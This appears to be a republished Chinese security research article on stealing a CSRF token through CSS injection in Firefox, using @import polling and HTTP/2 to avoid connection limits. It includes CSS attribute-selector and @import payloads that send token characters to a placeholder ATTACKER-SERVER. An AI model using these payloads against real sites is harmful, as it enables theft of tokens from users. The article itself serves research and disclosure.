在Firefox瀏覽器中如何利用CSS竊取數據

這篇文章主要介紹了在Firefox瀏覽器中如何利用CSS竊取數據，具有一定借鑒價值，感興趣的朋友可以參考下，希望大家閱讀完這篇文章之后大有收獲，下面讓小編帶著大家一起了解一下。

0x00 前言

幾個月之前，我在Firefox中找到了一個漏洞（ CVE-2019-17016 ）。在研究過程中，我發現了在Firefox瀏覽器中利用CSS的一種數據竊取技術，可以通過單個注入點竊取數據，這里我想與大家一起分享相關研究成果。

0x01 背景知識

為了演示方便，這里假設我們想竊取 <input> 元素中的CSRF令牌。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

我們無法使用腳本（可能是因為CSP），因此想尋找基于樣式的注入方法。傳統方法是使用屬性選擇器，如下所示：

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

如果應用了CSS規則，那么攻擊者就能收到HTTP請求，從而獲取到令牌的第1個字符。隨后，攻擊者需要準備另一個樣式表，其中包含已竊取的第1個字符，如下所示：

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

通常情況下，攻擊者需要重新加載 <iframe> 中已加載的頁面，以便提供后續樣式表。

在2018年， Pepe Vila 提出了一個非常不錯的想法，可以在Chrome瀏覽器中濫用 CSS遞歸import 方式，通過單個注入點完成相同任務。在2019年，Nathanial Lattimer（ @d0nutptr ）重新提出了相同 技巧 ，但稍微做了點改動。下面我稍微總結一下Lattimer的方法，這種方法與本文的思想比較接近（但我在此次研究過程中并不了解Lattimer之前的成果，因此可能有人會認為我在重復造輪子）。

簡而言之，第一次注入用到了一堆 import ：

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

核心思想如下：

1、在一開始，只有第1個 @import 會返回樣式表，其他語句處于連接阻塞狀態。

2、第1個 @import 返回樣式表，泄露令牌的第1個字符。

3、當泄露的第1個令牌到達 ATTACKER-SERVER ，第2個 import 停止阻塞，返回包含第1個字符的樣式表，嘗試泄露第2個字符。

4、當第2個泄露字符到達 ATTACKER-SERVER 時，第3個 import 停止阻塞……以此類推。

這種技術之所以行之有效，是因為Chrome會采用異步方式處理 import ，因此當任何 import 停止阻塞時，Chrome會立即解析該語句并應用規則。

0x02 Firefox及樣式表處理

前面提到的方法并不適用于Firefox，與Chrome瀏覽器相比，Firefox對樣式表的處理方式大不相同。這里我以幾個案例來說明其中差異。

首先，Firefox會采用同步方式處理樣式表。因此，當樣式表中有多個 import 時，只有當所有 import 都處理完畢時，Firefox才會應用CSS規則。考慮如下案例：

<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

假設第1個 @import 返回CSS規則，將頁面背景設置為藍色，后續的 import 處于阻塞狀態（比如永遠不會返回任何內容，會掛起HTTP連接）。在Chrome瀏覽器中，頁面會立即變為藍色，而在Firefox中并不會有任何反應。

我們可以將所有 import 放在獨立的 <style> 元素中，從而解決該問題：

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

在上面代碼中，Firefox會分別處理所有樣式表，因此頁面會立刻變藍色，其他 import 會在后臺處理。

但這里還有另一個問題，假設我們想竊取包含10個字符的令牌：

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox會立即將10個 import 加入隊列。在處理完第1個 import 后，Firefox會將帶有已知字符的另一個請求加入隊列。這里的問題在于，該請求會被加到隊列末尾。而在默認情況下，瀏覽器有個限制條件，到同一個服務器只能有6個并發連接。因此，帶有已知字符的請求永遠不會到達目標服務器，因為已經有到該服務器的6個阻塞連接，最終出現死鎖現象。

0x03 HTTP/2

6個連接的限制條件由TCP層決定，因此到單個服務器只能有6個TCP連接同時存在。在這種情況下，我認為HTTP/2可能派上用場。HTTP/2有許多優點，比如我們可以通過單個連接發送多個HTTP請求（也就是所謂的多路傳輸（ multiplexing ）），從而大大提升性能。

Firefox對單個HTTP/2連接的并發請求數也有限制，但默認情況下限制數為 100 （具體設置參考 about:config 中的 network.http.spdy.default-concurrent ）。如果我們需要更多并發數，可以使用不同的主機名，強制Firefox創建第2個TCP連接。比如，如果我們創建到 https://localhost:3000 的 100 個請求，也創建到 https://127.0.0.1:3000 的 50 個請求，此時Firefox就會創建2個TCP連接。

0x04 利用方式

現在一切準備就緒，我們的主要利用場景如下：

1、利用代碼基于HTTP/2。

2、通過 /polling/:session/:index 端點可以返回CSS，泄露第 :index 字符。該請求會處于阻塞狀態，直到前一個請求成功泄露第 index-1 個字符。 :session 路徑參數用來區分多次攻擊行為。

3、通過 /leak/:session/:value 端點來泄露整個令牌。這里 :value 為獲取到的完整值，而不單單是最后一個字符。

4、為了強制Firefox向同一個服務器發起2個TCP連接，這里用到了兩個端點，分別為 https://localhost:3000 及 https://127.0.0.1:3000 。

5、端點 /generate 用來生成示例代碼。

我創建了一個 測試平臺 ，目標是通過這種方式竊取 csrftoken ，大家可通過 此處 直接訪問該平臺。

此外，我還在GitHub上托管了 PoC代碼 ，攻擊過程可參考 此處視頻 。

有趣的是，由于我們使用的是HTTP/2，因此攻擊過程非常快速，不到3秒就能獲取到整個令牌。

0x05 總結

在本文中，我演示了如何利用1個注入點，在不想重載頁面的情況下，通過CSS竊取數據。這里主要涉及2個要點：

1、將 @import 規則拆分成多個樣式表，后續 import 不會阻塞瀏覽器對整個樣式表的處理。

2、為了繞過TCP并發連接數限制，我們需要通過HTTP/2發起攻擊。

感謝你能夠認真閱讀完這篇文章，希望小編分享的“在Firefox瀏覽器中如何利用CSS竊取數據”這篇文章對大家有幫助，同時也希望大家多多支持億速云，關注億速云行業資訊頻道，更多相關知識等著你來學習!